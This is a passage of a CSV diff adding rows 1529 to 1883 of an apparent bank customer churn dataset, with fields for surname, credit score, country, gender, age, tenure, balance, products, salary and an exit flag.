+1529,15597131,Fu,415,France,Male,32,5,145807.59,1,1,1,3064.65,0 +1530,15697283,Mackenzie,578,Spain,Male,23,8,0,2,1,0,112124.98,0 +1531,15640953,Bligh,611,France,Female,26,2,107508.93,2,1,1,120801.65,0 +1532,15715031,Davidson,600,France,Female,28,6,0,2,0,1,52193.23,0 +1533,15589660,Lamble,661,Germany,Female,32,1,145980.23,1,0,1,56636.28,0 +1534,15769818,Moore,850,France,Female,37,3,212778.2,1,0,1,69372.88,0 +1535,15782736,Jose,573,Germany,Female,47,4,152522.47,1,0,1,164038.07,1 +1536,15614818,Trevisani,764,Spain,Female,33,9,168964.77,1,0,1,118982.51,0 +1537,15794014,Schofield,838,France,Female,34,8,0,2,1,0,27472.07,0 +1538,15732448,Stewart,821,France,Female,28,8,0,1,1,1,36754.13,0 +1539,15723411,Jamieson,607,Spain,Female,36,4,98266.3,1,1,1,46416.36,0 +1540,15797686,Howard,558,France,Male,38,8,113000.92,1,1,1,152872.39,0 +1541,15605950,Onwuamaeze,530,Germany,Male,23,1,137060.88,2,1,1,165227.23,0 +1542,15812497,D'Albertis,654,Germany,Male,37,5,112146.12,1,1,0,75927.35,0 +1543,15690678,Brooks,530,France,Female,33,4,129307.32,1,1,1,172930.28,0 +1544,15747677,Gordon,656,Spain,Male,69,6,163975.09,1,1,1,36108.5,0 +1545,15618926,Nwachukwu,520,Spain,Male,43,7,0,2,1,1,36202.74,0 +1546,15673908,Chinweike,602,Germany,Female,42,6,158414.85,1,1,1,131886.46,0 +1547,15727944,Simpkinson,701,Germany,Female,48,1,92072.68,1,1,1,133992.36,0 +1548,15807294,Walker,653,Spain,Female,30,2,88243.29,2,1,1,96658.26,0 +1549,15618581,Diribe,668,Spain,Male,25,8,0,2,1,1,135112.09,0 +1550,15584364,Trentini,652,France,Male,48,4,59486.31,1,1,0,163944.18,1 +1551,15599552,Conway,639,Spain,Female,54,2,0,2,1,1,53843.71,0 +1552,15749177,Maslow,730,Spain,Female,52,7,0,2,0,1,122398.84,0 +1553,15718779,Clark,780,France,Male,34,1,0,1,1,1,64804.04,0 +1554,15568106,L?,592,France,Female,38,8,119278.01,2,0,1,19370.73,0 +1555,15779481,Swadling,628,France,Male,34,4,158741.43,2,1,1,126192.54,0 +1556,15709994,Gallo,658,France,Female,40,7,140596.95,1,0,1,135459.02,1 +1557,15772777,Onyemachukwu,850,Spain,Female,29,10,0,2,1,1,94815.04,0 +1558,15706815,Samoylova,515,Germany,Male,37,2,90432.92,1,1,1,188366.04,1 +1559,15618018,Dickson,571,France,Female,35,1,104783.81,2,0,1,178512.52,0 +1560,15671032,He,760,Germany,Male,42,0,77992.97,2,1,1,97906.38,0 +1561,15634281,P'an,720,Germany,Female,43,10,110822.9,1,0,0,72861.94,0 +1562,15766374,Leak,632,Germany,Male,42,4,119624.6,2,1,1,195978.86,0 +1563,15600991,Artemieva,694,Germany,Male,31,6,109052.59,2,1,1,19448.93,1 +1564,15777576,Frost,559,Spain,Female,40,5,139129.44,1,0,1,32635.54,0 +1565,15742613,Warner,773,Germany,Female,42,8,152324.66,2,1,0,171733.22,0 +1566,15649523,Kennedy,581,France,Male,38,1,0,2,1,0,46176.22,0 +1567,15651063,Ifeatu,524,Germany,Female,37,9,127480.58,2,1,0,179634.69,0 +1568,15683124,Evans,713,France,Male,53,6,115029.4,1,0,0,191521.32,1 +1569,15618314,Chu,676,France,Male,40,8,114005.78,1,1,1,67998.45,0 +1570,15670823,Hsueh,651,Germany,Female,42,1,116646.76,1,1,0,44731.8,1 +1571,15607133,Shih,717,Spain,Female,49,1,110864.38,2,1,1,124532.9,1 +1572,15615012,Fan,594,France,Male,23,5,156267.59,1,1,0,160968.44,0 +1573,15725141,Whiddon,716,France,Female,44,3,109528.28,1,1,0,27341.63,1 +1574,15623560,Onyekachukwu,668,France,Female,35,6,102482.76,1,1,1,53994.64,0 +1575,15693018,Ermakova,678,Germany,Male,23,10,115563.71,1,1,1,91633.53,0 +1576,15636756,Marino,545,France,Male,23,2,0,2,1,0,189613.12,0 +1577,15647474,Niu,613,France,Female,40,9,95624.36,2,1,1,60706.33,0 +1578,15576714,Manna,687,Spain,Female,21,8,0,2,1,1,154767.34,0 +1579,15585047,Onyemere,715,France,Male,28,7,160376.61,1,0,0,196853.11,0 +1580,15743976,Archer,618,Germany,Male,41,8,37702.79,1,1,1,195775.48,0 +1581,15793881,Mitchell,721,France,Female,35,6,118273.83,1,0,1,3086.89,0 +1582,15576517,Everingham,445,Germany,Female,34,7,131082.17,2,1,1,70618,0 +1583,15631072,Huie,690,France,Male,38,1,94456,2,0,1,55034.02,0 +1584,15730394,Crowther,709,France,Female,43,8,0,2,0,0,168035.62,1 +1585,15631460,Swift,671,Spain,Female,42,3,0,2,1,1,128449.33,0 +1586,15692002,Skelton,538,France,Male,33,6,93791.38,1,1,1,199249.29,0 +1587,15595282,White,735,France,Female,33,4,0,2,1,0,149474.69,0 +1588,15789548,Giordano,592,France,Female,37,7,0,2,1,1,126726.33,0 +1589,15758035,Bateson,747,France,Male,61,7,155973.13,1,0,1,147554.26,0 +1590,15617518,Hu,675,Germany,Male,36,7,89409.95,1,1,1,149399.7,0 +1591,15651802,Day,632,Spain,Female,39,5,97854.37,2,1,0,93536.38,0 +1592,15631813,Beneventi,621,France,Male,39,6,0,2,1,1,58883.91,0 +1593,15729668,Elizabeth,521,Spain,Male,29,3,60280.62,1,1,0,154271.41,0 +1594,15741728,Atkins,591,Spain,Male,36,7,135216.8,1,1,1,122022.89,0 +1595,15576676,Serrano,706,Germany,Female,28,6,124923.35,2,1,1,50299.14,0 +1596,15711378,Willis,677,France,Male,38,4,0,2,1,0,187800.63,0 +1597,15765520,Stevenson,769,Germany,Male,27,7,188614.07,1,1,0,171344.09,0 +1598,15656726,Ch'ien,771,France,Male,32,5,62321.62,1,1,1,40920.59,0 +1599,15647842,Cunningham,601,Germany,Female,48,8,120782.7,1,1,0,63940.68,1 +1600,15719309,Stephens,670,France,Female,42,1,115961.58,2,0,1,29483.87,0 +1601,15748718,Gordon,517,France,Male,28,2,115062.61,1,1,0,179056.23,0 +1602,15594404,Bevan,834,France,Female,49,8,160602.25,2,1,0,129273.94,0 +1603,15751158,Mashman,571,France,Female,42,4,108825.34,3,1,0,55558.51,1 +1604,15593470,Tu,576,Germany,Female,36,8,166287.85,1,1,1,23305.85,0 +1605,15695129,Milanesi,718,France,Female,31,1,152663.77,1,0,1,17128.64,0 +1606,15640865,Romano,636,Germany,Female,31,9,80844.69,2,1,1,74641.9,0 +1607,15714080,Goliwe,566,Germany,Female,40,2,97001.36,2,1,0,154486.01,0 +1608,15648721,Hsueh,711,France,Male,64,4,0,2,1,1,3185.67,0 +1609,15801466,Gray,574,France,Female,39,2,122524.61,2,1,0,88463.63,0 +1610,15750248,Wright,619,France,Female,35,8,132292.63,1,1,0,65682.93,0 +1611,15758726,Chiemeka,588,France,Female,24,0,0,2,1,1,140586.08,0 +1612,15781553,Chung,760,Germany,Female,49,9,91502.99,1,1,0,117232.9,1 +1613,15649121,Pinto,665,France,Male,52,3,0,1,1,0,116137.01,1 +1614,15674811,Kellway,739,Germany,Male,29,3,59385.98,2,1,1,105533.96,0 +1615,15646037,Sopuluchi,641,France,Male,77,9,0,3,1,1,81514.06,0 +1616,15722578,Spitzer,685,Germany,Female,21,6,97956.5,1,1,1,164966.27,0 +1617,15665695,Potter,594,France,Female,49,4,0,2,1,1,23631.55,0 +1618,15801062,Matthews,557,Spain,Female,40,4,0,2,0,1,105433.53,0 +1619,15662955,Nicholls,697,France,Male,27,8,141223.68,2,1,0,90591.15,0 +1620,15770309,McDonald,656,France,Male,18,10,151762.74,1,0,1,127014.32,0 +1621,15657386,Fiorentini,712,Germany,Male,43,1,141749.74,2,0,1,90905.26,0 +1622,15777797,Kovalyova,689,Spain,Male,38,5,75075.14,1,1,1,8651.92,1 +1623,15783955,Miah,697,France,Female,25,4,165686.11,2,1,0,15467.98,0 +1624,15804516,Builder,589,France,Male,38,2,0,1,1,0,79915.28,0 +1625,15681758,Baddeley,525,Spain,Female,25,10,0,2,1,0,69361.95,0 +1626,15630321,Hu,680,France,Male,44,3,0,2,1,0,86935.08,0 +1627,15588248,Hs?,617,France,Female,28,0,0,2,1,1,7597.83,1 +1628,15591932,Ford,680,France,Male,32,5,92961.61,1,1,0,116957.6,0 +1629,15810347,Todd,662,Spain,Female,30,9,0,2,0,1,157884.83,0 +1630,15595303,Johnston,736,Germany,Male,46,5,130812.91,1,1,1,77981.54,1 +1631,15634950,Obiajulu,657,Germany,Male,57,8,107174.58,1,1,1,126369.55,1 +1632,15685372,Azubuike,350,Spain,Male,54,1,152677.48,1,1,1,191973.49,1 +1633,15745827,Padovesi,617,France,Male,30,3,132005.77,1,1,0,142940.39,0 +1634,15755868,Farmer,562,France,Male,35,7,0,1,0,0,48869.67,0 +1635,15735222,Ignatieff,705,Spain,Female,23,5,0,2,1,1,73131.73,0 +1636,15604804,Lu,516,France,Female,33,7,127305.5,1,1,1,120037.36,0 +1637,15718944,Artemiev,573,France,Female,37,6,0,2,1,0,193995.37,0 +1638,15678626,Okonkwo,538,Spain,Female,31,0,0,2,0,0,179453.66,0 +1639,15571550,Dore,699,France,Male,39,9,0,1,1,0,80963.92,0 +1640,15723053,T'ang,504,Germany,Male,32,8,170291.22,2,0,1,15658.99,0 +1641,15661528,Ashbolt,583,Spain,Male,47,5,102562.23,1,1,0,92708.1,0 +1642,15754177,Bazarova,712,Spain,Male,53,2,111061.01,2,0,0,26542.17,0 +1643,15683544,Buccho,626,Spain,Male,62,3,0,1,1,1,65010.74,0 +1644,15708048,Burn,631,France,Female,34,4,124379.14,1,1,0,106892.91,0 +1645,15701109,Andreyev,663,France,Female,37,7,0,1,1,1,185210.63,0 +1646,15600110,Endrizzi,506,Germany,Female,41,3,57745.76,1,1,0,4035.46,0 +1647,15651533,Brown,570,Germany,Female,50,5,129293.74,1,1,0,177805.44,1 +1648,15777904,Nock,703,France,Female,45,7,0,2,1,1,68831.72,0 +1649,15655574,Okeke,698,Germany,Female,40,8,150777.1,1,1,0,114732.62,0 +1650,15569423,Cunningham,731,Spain,Male,41,4,0,2,1,0,22299.27,0 +1651,15718106,Kelley,625,France,Male,34,6,0,2,0,0,197283.2,0 +1652,15585067,Wilson,634,Spain,Male,31,9,108632.48,1,1,1,179485.96,1 +1653,15675501,Woods,616,France,Male,59,5,153861.1,1,1,1,17699.48,0 +1654,15633233,McFarland,500,France,Male,56,1,100374.58,1,1,0,118490.8,1 +1655,15667134,Cisneros,446,France,Male,32,8,0,2,0,0,133292.94,0 +1656,15659105,Borchgrevink,669,France,Female,47,9,61196.54,1,1,0,58170.24,0 +1657,15575409,Rozhkova,581,Germany,Male,31,6,116891.72,1,1,0,107137.3,0 +1658,15752342,Bradley,704,Germany,Female,54,6,133656.91,3,1,0,145071.33,1 +1659,15654851,Obialo,748,France,Male,44,2,92911.52,1,0,1,85495.24,0 +1660,15741429,Hudson,680,Spain,Female,31,9,119825.75,2,1,1,101139.3,0 +1661,15682356,Veltri,655,France,Female,37,7,111852.84,2,1,0,10511.13,0 +1662,15806447,Mazzanti,690,Germany,Male,32,0,106683.52,2,1,1,137916.49,0 +1663,15800229,Thorpe,695,Germany,Male,40,7,139022.24,1,0,1,193383.13,0 +1664,15663441,Golibe,700,Germany,Female,40,4,148571.07,1,1,0,189826.96,1 +1665,15791991,Udinesi,773,France,Male,52,4,0,1,0,1,144113.42,0 +1666,15775082,Stewart,749,France,Male,42,1,129776.72,2,0,1,143538.51,0 +1667,15579706,Curtis,611,France,Female,46,5,0,1,1,0,77677.14,1 +1668,15718247,Hayden,606,Spain,Female,46,8,0,2,1,1,183717.94,0 +1669,15755722,H?,554,France,Male,24,10,0,1,0,0,92180.62,0 +1670,15582259,Campbell,567,France,Female,37,7,0,2,1,1,28690.9,0 +1671,15716994,Green,559,Spain,Male,24,3,114739.92,1,1,0,85891.02,1 +1672,15586880,P'eng,594,Germany,Male,41,2,122545.65,2,1,1,42050.24,0 +1673,15713854,Cremonesi,513,France,Female,37,6,0,2,1,0,110142.34,0 +1674,15780835,Liang,652,Germany,Female,26,1,131908.35,1,1,1,179269.79,0 +1675,15675896,Gough,680,Germany,Female,42,7,105722.69,1,1,1,90558.24,1 +1676,15658459,Bates,784,Spain,Male,33,10,0,2,1,0,162022.47,0 +1677,15658057,Padovesi,812,Spain,Female,44,8,0,3,1,0,66926.83,1 +1678,15801767,Yin,784,Spain,Female,40,8,0,2,1,0,108891.3,0 +1679,15569178,Kharlamov,570,France,Female,18,4,82767.42,1,1,0,71811.9,0 +1680,15731478,Nicholls,712,France,Female,42,1,87842.98,1,0,0,92223.59,0 +1681,15811236,Burns,705,Spain,Male,39,6,133261.13,1,1,1,78065.9,0 +1682,15746749,Fleming,681,Spain,Female,32,3,0,2,1,1,59679.9,0 +1683,15662758,Watson,620,France,Male,41,0,97925.11,1,1,0,85000.32,0 +1684,15709387,Obiajulu,711,France,Male,52,5,0,1,1,1,159808.95,0 +1685,15572093,Han,613,France,Female,24,7,140453.91,1,1,0,129001.3,0 +1686,15713826,Ferguson,613,Germany,Female,20,0,117356.19,1,0,0,113557.7,1 +1687,15570205,Tao,682,Spain,Male,36,5,0,2,1,1,147758.51,0 +1688,15589348,Le Grand,850,Spain,Male,37,4,137204.77,1,1,1,28865.59,0 +1689,15804610,Valdez,601,France,Female,41,1,0,2,0,1,160607.06,0 +1690,15700854,Cunningham,595,Spain,Male,35,8,0,1,1,0,100015.79,1 +1691,15758836,Godfrey,675,Spain,Male,36,3,54098.18,2,0,1,54478.52,0 +1692,15772933,Mai,591,Spain,Male,31,8,0,1,1,1,141677.33,0 +1693,15809006,Walker,602,France,Male,23,7,113758.48,2,0,0,84077.6,0 +1694,15689612,Pirozzi,554,Spain,Female,34,8,0,1,0,1,106981.03,0 +1695,15744614,Feng,541,France,Male,37,9,118636.92,1,1,1,73551.44,0 +1696,15704250,Akabueze,506,France,Male,34,7,0,2,0,0,115842.1,0 +1697,15700255,Robson,814,Germany,Male,44,8,95488.82,2,0,0,107013.59,0 +1698,15669410,Yevdokimova,683,France,Male,30,8,110829.52,2,0,0,24938.84,0 +1699,15807595,Ijendu,485,Germany,Male,51,7,144244.59,2,1,0,51113.14,0 +1700,15664523,Colombo,696,Germany,Female,31,8,122021.92,2,1,0,33828.64,0 +1701,15642833,Akubundu,608,France,Female,30,8,0,2,1,0,128875.86,0 +1702,15605279,Francis,792,France,Male,50,9,0,4,1,1,194700.81,1 +1703,15713644,Marshall,686,Spain,Male,22,5,0,2,1,0,158974.45,0 +1704,15750466,Rhodes,790,Germany,Male,42,1,85839.62,1,1,0,198182.73,0 +1705,15739054,Y?,654,France,Female,29,4,96974.97,1,0,1,141404.07,0 +1706,15612771,Bell,452,France,Male,35,4,148172.44,1,1,1,4175.68,0 +1707,15788483,Kerr,719,Spain,Male,38,0,0,1,1,0,126876.47,0 +1708,15732832,Jideofor,707,France,Female,40,5,0,2,1,0,41052.82,0 +1709,15772892,Robertson,699,France,Female,49,2,0,1,0,0,105760.01,0 +1710,15713843,Kao,850,Spain,Male,30,2,0,2,0,1,27937.12,0 +1711,15567993,Palmer,828,Spain,Male,28,8,134766.85,1,1,0,79355.87,0 +1712,15617603,Mackay,850,Germany,Male,30,5,123210.56,2,1,1,102180.27,0 +1713,15744983,Burgmann,712,Spain,Male,47,1,139887.01,1,1,1,95719.73,0 +1714,15630419,Davis,634,France,Male,44,9,149961.11,1,1,0,57121.51,0 +1715,15738828,Milano,730,Germany,Male,45,6,152880.97,1,0,0,162478.11,0 +1716,15778025,Dellucci,685,Germany,Male,43,9,108589.47,2,0,1,194808.51,0 +1717,15799479,Coles,809,Spain,Male,33,9,0,1,1,1,124045.65,0 +1718,15684269,Gray,707,Spain,Female,35,3,56674.48,1,1,0,17987.4,1 +1719,15762745,Macvitie,648,Spain,Male,32,8,0,1,1,0,133653.38,0 +1720,15746970,Townsend,760,Spain,Female,57,1,0,2,1,1,25101.17,0 +1721,15725024,Pope,805,Germany,Female,33,3,105663.56,2,0,1,33330.89,0 +1722,15592116,Jensen,585,France,Female,39,7,0,2,1,0,2401.26,0 +1723,15624391,Thomson,595,Spain,Female,30,5,100683.54,1,1,1,178361.04,0 +1724,15567422,Chiazagomekpele,630,France,Male,42,6,0,2,1,0,162697.93,0 +1725,15612627,Ozuluonye,627,Germany,Male,29,5,139541.58,2,1,0,80607.33,0 +1726,15574879,Wright,631,Germany,Female,37,2,121801.72,2,0,1,23146.62,0 +1727,15745107,Lung,776,Germany,Male,38,5,112281.7,1,0,1,89893.6,0 +1728,15734491,Lombardo,676,Spain,Female,36,4,0,2,1,1,3173.31,0 +1729,15675320,Leonard,758,Spain,Female,40,5,93499.82,2,0,0,123218.81,0 +1730,15643824,Johnston,637,France,Male,33,0,132255.99,2,0,1,74588.41,0 +1731,15643438,P'eng,850,France,Male,20,7,0,2,1,0,31288.77,0 +1732,15721730,Amechi,601,Spain,Female,44,4,0,2,1,0,58561.31,0 +1733,15680727,Fang,735,France,Male,49,5,121973.28,1,1,0,148804.36,0 +1734,15752508,Docherty,614,Germany,Male,32,7,99462.8,2,1,1,51117.06,0 +1735,15808846,Horton,672,Germany,Female,21,3,165878.76,2,1,1,164537.17,0 +1736,15727251,Vincent,642,France,Male,30,8,117494.27,1,0,0,61977.82,0 +1737,15663489,Onio,633,Germany,Female,29,0,138577.34,1,1,0,193362.99,0 +1738,15683677,Schiavone,769,Spain,Male,39,9,0,1,1,1,47722.79,0 +1739,15596414,Chandler,796,Spain,Male,41,8,107525.07,1,1,0,18510.41,0 +1740,15730639,Fiorentino,715,France,Male,23,7,139224.92,2,1,0,65057.71,0 +1741,15672132,Butusov,695,France,Female,42,7,121453.63,1,0,0,46374.64,0 +1742,15742638,Wang,747,France,Female,25,4,0,2,0,1,42039.67,0 +1743,15578603,Alexeieva,584,Germany,Female,54,1,77354.37,1,0,0,138192.98,1 +1744,15726088,Vinogradova,476,France,Male,40,6,0,1,1,1,22735.45,0 +1745,15682533,Hughes,850,France,Female,39,7,79259.99,1,0,1,186910.74,0 +1746,15772995,Ts'ao,529,France,Male,30,2,116295.29,1,1,0,75285.47,0 +1747,15765694,Bage,584,Spain,Female,59,1,0,1,0,1,130260.11,1 +1748,15659486,Yudina,586,Germany,Male,34,9,74309.81,1,1,0,15034.93,0 +1749,15568963,Naquin,674,Germany,Male,34,2,152797.9,1,1,0,175709.4,1 +1750,15703820,Endrizzi,552,France,Male,42,9,133701.07,2,1,0,101069.71,1 +1751,15569410,Tang,601,Germany,Female,33,7,114430.18,2,1,1,153012.13,0 +1752,15632256,Schroeder,541,France,Male,29,7,127504.57,1,0,0,86173.92,0 +1753,15724466,Swearingen,744,Germany,Female,41,2,84113.41,1,1,0,197548.63,0 +1754,15777639,McGregor,595,Spain,Female,23,10,101126.66,2,0,0,37042.8,0 +1755,15802501,Onyeorulu,724,Germany,Male,33,5,103564.83,2,1,0,121085.72,0 +1756,15778410,Clarke,533,Spain,Female,52,7,0,1,0,1,194113.99,1 +1757,15670702,Smith,618,France,Male,37,2,168178.21,2,0,1,101273.23,0 +1758,15704763,Kozlova,523,Germany,Female,39,1,143903.11,1,1,1,118711.75,1 +1759,15645544,Nekrasov,642,Germany,Female,30,5,129753.69,1,1,0,582.53,0 +1760,15757646,Olague,584,France,Male,35,9,0,2,1,0,192381.21,0 +1761,15701121,Holt,521,France,Male,38,5,110641.18,1,0,1,136507.69,1 +1762,15796313,Olsen,662,France,Female,36,4,166909.2,2,1,0,138871.12,1 +1763,15815660,Mazzi,758,France,Female,34,1,154139.45,1,1,1,60728.89,0 +1764,15602844,Niu,717,France,Male,38,7,97459.06,1,0,0,189175.71,0 +1765,15636238,Graham,611,France,Male,40,1,0,2,1,1,102547.56,0 +1766,15770101,Millar,766,Germany,Male,43,6,112088.04,2,1,1,36706.56,0 +1767,15645543,Bell,636,France,Female,34,3,0,2,1,1,44756.25,0 +1768,15596397,Kelly,814,France,Female,48,7,0,2,1,1,132870.15,0 +1769,15770525,T'an,760,Spain,Male,28,1,141038.57,2,0,0,16287.38,0 +1770,15684267,Davila,607,Germany,Male,39,2,84468.67,2,1,1,121945.42,0 +1771,15689980,Willis,725,Spain,Female,36,4,118520.26,1,0,0,131173.9,1 +1772,15633260,Dumetochukwu,600,France,Male,37,1,142663.46,1,0,1,88669.89,0 +1773,15756471,Giles,656,Germany,Male,27,4,118627.16,2,1,1,160835.3,0 +1774,15721303,O'Meara,640,Spain,Male,34,1,137523.02,1,0,0,24761.36,0 +1775,15802256,Yao,439,France,Male,28,7,110976.23,2,1,0,138526.96,0 +1776,15725664,Wallace,549,France,Female,38,8,107283.4,1,0,0,157442.75,0 +1777,15674851,T'ien,622,France,Male,38,5,0,2,0,0,105295.77,0 +1778,15701946,Ndubueze,715,France,Male,34,4,124314.45,1,0,0,97782.92,0 +1779,15748947,Chukwuraenye,657,France,Female,41,5,95858.37,1,1,1,68255.88,0 +1780,15673342,K'ung,703,France,Male,36,2,0,2,1,0,108790.95,0 +1781,15601008,Stevenson,802,France,Male,33,8,0,2,1,0,143706.18,0 +1782,15771636,Marshall,793,Spain,Female,36,0,0,1,0,0,148993.47,0 +1783,15642002,Hayward,554,France,Female,35,6,117707.18,2,0,0,95277.15,1 +1784,15693381,Tipton,533,Spain,Male,38,1,135289.33,2,0,1,152956.33,0 +1785,15607691,Gibson,658,France,Male,36,8,174060.46,1,1,1,94925.62,0 +1786,15589380,Fraser,713,Germany,Male,40,3,114446.84,2,1,1,87308.18,0 +1787,15603846,Fang,711,Spain,Male,37,2,0,2,1,0,83978.86,1 +1788,15753549,Dubinina,669,France,Male,25,1,157848.53,1,0,0,37543.93,1 +1789,15725355,Morey,439,France,Female,43,8,0,1,0,1,104889.3,0 +1790,15773017,Todd,763,Spain,Female,37,6,0,2,1,1,149705.25,0 +1791,15625641,Forbes,697,Germany,Female,74,3,108071.36,2,1,1,16445.79,0 +1792,15776467,De Salis,702,Spain,Female,35,8,14262.8,2,1,0,54689.16,0 +1793,15746451,Barry,686,Spain,Male,41,7,102749.72,1,0,1,194913.86,0 +1794,15777922,Afamefuna,629,Spain,Male,36,1,161757.87,2,1,1,146371.72,0 +1795,15606841,Ibbott,823,France,Male,38,1,0,2,1,0,156603.7,0 +1796,15757648,Marshall,683,Germany,Female,35,5,95698.79,1,0,1,182566.76,0 +1797,15677173,Law,555,France,Male,37,9,124969.13,1,1,0,60194.05,0 +1798,15764170,Pinto,647,Germany,Male,44,4,93960.35,1,1,0,36579.53,1 +1799,15610446,Chinedum,714,France,Female,51,4,88308.87,3,0,0,5862.53,1 +1800,15612776,McKay,850,Spain,Female,39,10,0,2,1,1,143030.09,0 +1801,15794122,Otutodilinna,713,France,Female,59,3,0,2,1,1,62700.08,0 +1802,15774931,She,452,France,Male,30,7,112935.87,1,1,1,99017.34,0 +1803,15779247,Pai,683,Spain,Female,24,8,98567.1,1,1,0,187987.01,0 +1804,15707078,Kruglov,577,France,Female,26,1,180530.51,1,0,0,123454.62,0 +1805,15605263,Chin,552,France,Male,33,5,140931.57,1,0,1,10921.5,0 +1806,15607381,King,769,Germany,Female,31,7,148913.72,2,1,0,53817.23,0 +1807,15683471,Hansen,691,France,Male,38,7,0,2,0,0,81617.4,0 +1808,15605037,Ting,818,France,Female,49,2,0,1,0,1,192298.84,1 +1809,15576085,Stone,739,France,Male,41,5,0,2,0,0,143882.25,0 +1810,15770435,McLean,639,France,Female,50,6,115335.32,2,1,1,53130.41,0 +1811,15592994,Zikoranachidimma,651,France,Female,65,0,0,2,1,1,190454.04,0 +1812,15624068,Fu,779,France,Female,26,0,0,2,0,1,111906,0 +1813,15595221,Trevisano,850,Germany,Female,33,7,134678.13,1,1,0,113177.95,0 +1814,15637131,Fallaci,829,France,Male,38,9,0,2,1,0,30529.88,0 +1815,15613471,Wiley,579,Germany,Male,31,2,90547.48,2,1,1,18800.13,0 +1816,15583499,Chiagoziem,510,France,Male,32,9,103324.78,1,1,1,46127.7,0 +1817,15752816,Murray,531,France,Male,29,3,114590.58,1,0,0,75585.48,0 +1818,15804075,Chuang,628,Germany,Female,36,3,91286.51,1,1,0,63085.94,0 +1819,15800517,Huang,633,Spain,Male,32,5,163340.12,2,1,1,74415.2,0 +1820,15712319,Chukwukere,714,Spain,Male,45,8,150900.29,2,0,1,139889.15,0 +1821,15797389,Hsia,604,Spain,Male,23,9,124577.33,1,1,1,7267.25,0 +1822,15621432,Lee,630,Spain,Male,35,1,0,2,0,0,186826.22,0 +1823,15779390,Theus,850,Spain,Female,31,4,91292.7,1,1,1,162149.07,0 +1824,15711219,Jennings,788,Germany,Female,57,8,93716.72,1,1,1,180150.49,1 +1825,15770498,Parker,798,France,Female,37,4,111723.08,1,1,1,83478.12,0 +1826,15678727,Tan,770,Germany,Male,45,4,110765.68,1,1,0,26163.74,1 +1827,15573893,Barry,569,Germany,Male,25,9,173459.45,2,1,1,44381.06,0 +1828,15740104,Tuan,425,Spain,Female,22,7,169649.73,2,0,1,136365,1 +1829,15792649,Patterson,547,Spain,Female,31,9,0,2,0,0,99294.22,0 +1830,15605275,Ofodile,725,Germany,Male,45,8,116917.07,1,0,0,173464.43,1 +1831,15572467,Chandler,506,France,Male,37,5,0,2,1,1,127543.81,0 +1832,15738219,Nash,632,France,Female,36,7,0,2,1,1,52526.65,0 +1833,15600710,Atkinson,620,France,Male,22,0,0,1,1,0,32589.45,0 +1834,15804394,Brenan,663,Germany,Male,32,8,130627.66,1,1,0,47161.25,1 +1835,15694188,Obidimkpa,700,Spain,Female,46,5,56580.95,2,0,1,45424.13,0 +1836,15583718,Terry,696,Germany,Male,38,6,142316.14,1,1,1,8018.49,0 +1837,15802478,Spring,767,Spain,Male,31,6,0,2,1,1,195668,0 +1838,15619343,Mahmood,561,France,Male,56,7,152759,2,1,0,133167.11,1 +1839,15758813,Campbell,350,Germany,Male,39,0,109733.2,2,0,0,123602.11,1 +1840,15761374,Bellucci,706,France,Male,54,9,117444.51,1,1,1,186238.85,0 +1841,15569209,Amaechi,464,Spain,Female,34,5,76001.57,1,1,1,158668.87,0 +1842,15788539,Foxall,501,France,Female,34,3,107747.57,1,1,0,9249.36,0 +1843,15747222,Bentley,745,Spain,Female,35,8,0,2,1,1,116581.1,0 +1844,15769346,Baird,587,France,Female,36,1,134997.49,2,1,0,44688.08,0 +1845,15699634,Howard,667,France,Female,48,2,0,2,1,1,148608.39,0 +1846,15589076,Henry,737,France,Male,36,9,0,1,0,1,188670.9,1 +1847,15812338,Sopuluchukwu,485,Spain,Female,30,7,0,1,1,0,107067.37,0 +1848,15758845,Rocher,590,Spain,Female,37,0,64345.21,1,0,1,61759.33,1 +1849,15685844,White,518,Germany,Female,35,8,141665.63,1,0,1,192776.64,0 +1850,15583090,Komar,581,Spain,Female,29,8,0,2,1,0,46735.19,0 +1851,15587581,Russo,785,Germany,Female,33,5,136624.6,2,1,1,169117.74,0 +1852,15633640,Loewenthal,799,France,Female,52,4,161209.66,1,1,1,89081.41,0 +1853,15573741,Aliyeva,698,Spain,Male,38,10,95010.92,1,1,1,105227.86,0 +1854,15633574,Montes,730,France,Female,41,4,167545.32,1,1,0,128246.81,0 +1855,15711455,Kuo,740,Germany,Female,36,4,109044.6,1,0,0,94554.74,1 +1856,15570601,Cheng,785,France,Female,47,9,122031.55,1,1,1,33823.5,1 +1857,15690925,McIntosh,527,Spain,Female,29,2,27755.97,1,1,0,97468.44,1 +1858,15709338,T'ao,544,France,Female,29,1,118560.55,1,1,1,164137.36,0 +1859,15780746,Tyndall,705,France,Male,61,4,0,2,1,1,191313.7,0 +1860,15681956,Bailey,684,France,Male,34,9,0,2,1,1,65257.57,0 +1861,15778190,Onyekaozulu,639,Spain,Female,28,8,97840.72,1,1,1,178222.77,0 +1862,15786852,Nwachukwu,565,Germany,Female,38,2,158651.29,2,1,1,179445.28,0 +1863,15726494,Romani,481,France,Male,44,9,175303.06,1,1,0,65500.53,1 +1864,15641183,Chin,731,Spain,Male,25,8,96950.21,1,1,0,97877.92,0 +1865,15805312,Bellucci,607,France,Male,45,7,123859.6,1,0,1,113051.57,0 +1866,15636572,Christmas,760,France,Female,32,7,0,2,1,1,105969.05,0 +1867,15632575,Moore,559,France,Female,70,9,0,1,1,1,122996.76,0 +1868,15740164,Genovesi,715,France,Female,33,3,85227.84,1,1,1,68087.15,0 +1869,15574947,Cartwright,656,France,Male,36,8,97786.08,2,0,1,21478.36,0 +1870,15597909,Johnstone,652,Germany,Male,33,7,128135.99,1,1,0,158437.73,0 +1871,15782574,Warner,624,Spain,Male,33,6,0,2,0,0,76551.7,0 +1872,15734999,Stephenson,634,Spain,Male,36,2,85996.19,1,1,0,15887.68,0 +1873,15706593,Ellis,850,Spain,Female,50,10,0,2,1,1,33741.84,0 +1874,15766686,Nebechi,659,Germany,Female,39,1,104502.11,1,1,0,20652.69,0 +1875,15590268,Chu,529,Spain,Male,35,5,95772.97,1,1,1,112781.5,0 +1876,15763055,Onuchukwu,572,Spain,Male,31,5,98108.79,1,0,1,119996.95,0 +1877,15664754,Steele,640,Germany,Male,39,9,131607.28,4,0,1,6981.43,1 +1878,15643630,Quaife,770,Spain,Male,55,9,63127.41,2,1,0,185211.28,1 +1879,15641043,Scott,648,Spain,Male,35,7,0,2,1,1,78436.36,0 +1880,15768095,Yeh,579,France,Male,31,9,0,1,0,1,139048,0 +1881,15811314,Y?,589,Germany,Female,36,9,140355.56,2,1,0,136329.96,0 +1882,15669922,Conti,530,Spain,Female,36,2,0,2,1,1,14721.8,0 +1883,15707114,Holder,831,France,Male,30,2,0,2,0,1,3430.38,0 